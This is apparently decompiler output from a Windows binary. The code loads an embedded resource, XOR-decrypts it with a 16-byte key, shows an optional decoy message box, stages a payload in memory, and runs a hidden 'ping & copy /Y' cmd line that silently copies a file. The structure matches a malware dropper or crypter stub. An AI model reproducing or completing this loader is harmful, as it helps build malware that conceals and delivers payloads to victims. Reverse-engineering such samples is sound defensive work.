// Address range: 0x4018a3 - 0x401906
char * function_4018a3(void) {
    // 0x4018a3
    lstrcpyA((char *)&g36, "/c ping -n 3 127.0.0.1 & copy /Y \"");
    lstrcatA((char *)&g36, (char *)&g34);
    lstrcatA((char *)&g36, "\" \"");
    lstrcatA((char *)&g36, (char *)&g35);
    char * result = lstrcatA((char *)&g36, "\" >> NUL"); // 0x4018e9
    g1 = (int32_t)result;
    g55(0, 0, (int32_t)&g37, (int32_t)&g36, 0, 0);
    return result;
}
 
// Address range: 0x401907 - 0x401a8f
char * function_401907(void) {
    int32_t v1;
    g2 = &v1;
    int32_t v2 = g3; // 0x40190d
    char * hResInfo = FindResourceA(NULL, (char *)0x1001, (char *)10); // 0x401917
    if (hResInfo == NULL) {
        // 0x401920
        function_401b16();
        return NULL;
    }
    // 0x401925
    g23 = hResInfo;
    int32_t v3 = SizeofResource(NULL, hResInfo); // 0x40192d
    if (v3 == 0) {
        // 0x401936
        function_401b16();
        return NULL;
    }
    // 0x40193b
    g24 = v3;
    char * hResData = LoadResource(NULL, g23); // 0x401948
    if (hResData == NULL) {
        // 0x401951
        function_401b16();
        return NULL;
    }
    // 0x401956
    g25 = hResData;
    char * v4 = LockResource(hResData); // 0x40195c
    int32_t v5 = (int32_t)v4; // 0x40195c_3
    if (v4 == NULL) {
        // 0x401965
        function_401b16();
        return NULL;
    }
    // 0x40196a
    g26 = v5;
    RtlMoveMemory((char *)&g17, v4, 16);
    int32_t v6 = v5 + 16; // 0x401981
    g3 = v6;
    int32_t v7 = g24 - 16; // 0x401989
    g1 = v7;
    int32_t v8;
    function_401a90((char *)v6, v7, v2, v5, v8);
    g39 = *(int32_t *)g3;
    int32_t dwBytes = *(int32_t *)(g3 + 4); // 0x40199d
    int32_t v9 = g3 + 8; // 0x40199f
    if (dwBytes != 0) {
        char * v10 = HeapAlloc((char *)g22, 8, dwBytes); // 0x4019b4
        g42 = v10;
        RtlMoveMemory(v10, (char *)v9, dwBytes);
        int32_t v11 = v9 + dwBytes; // 0x4019cd
        int32_t dwBytes2 = *(int32_t *)v11; // 0x4019d0
        v9 = v11 + 4;
        char * v12 = HeapAlloc((char *)g22, 8, dwBytes2); // 0x4019e3
        g43 = v12;
        RtlMoveMemory(v12, (char *)v9, dwBytes2);
        int32_t v13 = v9 + dwBytes2; // 0x4019fc
        g44 = *(int32_t *)v13;
        v9 = v13 + 4;
        // branch -> 0x401a09
    }
    int32_t v14 = *(int32_t *)v9; // 0x401a09
    int32_t v15 = v9 + 4; // 0x401a0b
    g45 = v14;
    int32_t v16 = v15; // 0x401a43
    if (v14 == 2) {
        // 0x401a1c
        g48 = *(int32_t *)v15;
        int32_t v17 = *(int32_t *)(v9 + 8); // 0x401a26
        int32_t v18 = v9 + 12; // 0x401a28
        g46 = v17;
        if (v17 == 1) {
            // 0x401a39
            g47 = *(int32_t *)v18;
            v16 = v9 + 16;
            // branch -> 0x401a43
        } else {
            v16 = v18;
        }
    }
    // 0x401a43
    g50 = *(int32_t *)v16;
    int32_t v19 = v16 + 4; // 0x401a4a
    int32_t dwBytes3 = g24 - (v19 - v5); // 0x401a57
    g41 = dwBytes3;
    char * v20 = GlobalAlloc(64, dwBytes3); // 0x401a66
    g40 = v20;
    RtlMoveMemory(v20, (char *)v19, g41);
    g2 = v1;
    return (char *)(int32_t)FreeResource(g25);
}
 
// Address range: 0x401a90 - 0x401abd
int32_t function_401a90(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
    int32_t result = g1; // 0x401a93
    int32_t v1 = g4; // 0x401a93
    int32_t v2 = g5; // 0x401a93
    int32_t v3 = (int32_t)a1;
    int32_t v4 = v3; // esi
    g5 = v3;
    int32_t v5 = 0; // edx
    g4 = a2;
    int32_t v6;
    if (a2 == 0) {
        // 0x401aa2
        g2 = v6;
        return result;
    }
    int32_t v7 = 0; // 0x401aa6
    while (true) {
        int32_t v8 = v7; // 0x401aae
        if (v7 == 16) {
            // 0x401aab
            v5 = 0;
            v8 = 0;
            // branch -> 0x401aad
        }
        int32_t v9 = v4; // 0x401aad
        v4 = v9 + 1;
        unsigned char v10 = *(char *)(v8 + (int32_t)&g17); // 0x401aae
        int32_t v11 = (int32_t)v10 ^ (g1 & -256 | (int32_t)*(char *)v9); // 0x401aae
        g1 = v11;
        *(char *)v3 = (char)v11;
        int32_t v12 = v5 + 1; // 0x401ab5
        v5 = v12;
        int32_t v13 = g4 - 1; // 0x401ab6
        g4 = v13;
        if (v13 == 0) {
            // break -> 0x401ab9
            break;
        }
        v3++;
        v7 = v12;
        // continue -> 0x401aa6
    }
    // 0x401ab9
    g5 = v2;
    g4 = v1;
    g2 = v6;
    return result;
}
 
// Address range: 0x401abe - 0x401ae0
int32_t function_401abe(void) {
    // 0x401abe
    int32_t result; // 0x401ae0_2
    if (g42 != NULL) {
        // 0x401ac7
        result = MessageBoxA(NULL, g43, g42, g44);
        // branch -> 0x401ae0
    } else {
        result = (int32_t)g42;
    }
    // 0x401ae0
    return result;
}
 
// Address range: 0x401ae1 - 0x401b15
char * entry_point(void) {
    // 0x401ae1
    g12 = (int32_t)GetCommandLineA();
    g14 = (int32_t)GetModuleHandleA(NULL);
    char * result = GetProcessHeap(); // 0x401af7
    g22 = (int32_t)result;
    function_401000(g14);
    return result;
}
 
// Address range: 0x401b16 - 0x401b1d
int32_t function_401b16(void) {
    // 0x401b16
    ExitProcess(0);
    // UNREACHABLE
}
 
// Address range: 0x401b1e - 0x401c25
void function_401b1e(void) {
    // 0x401b1e
    unknown_40207c();
}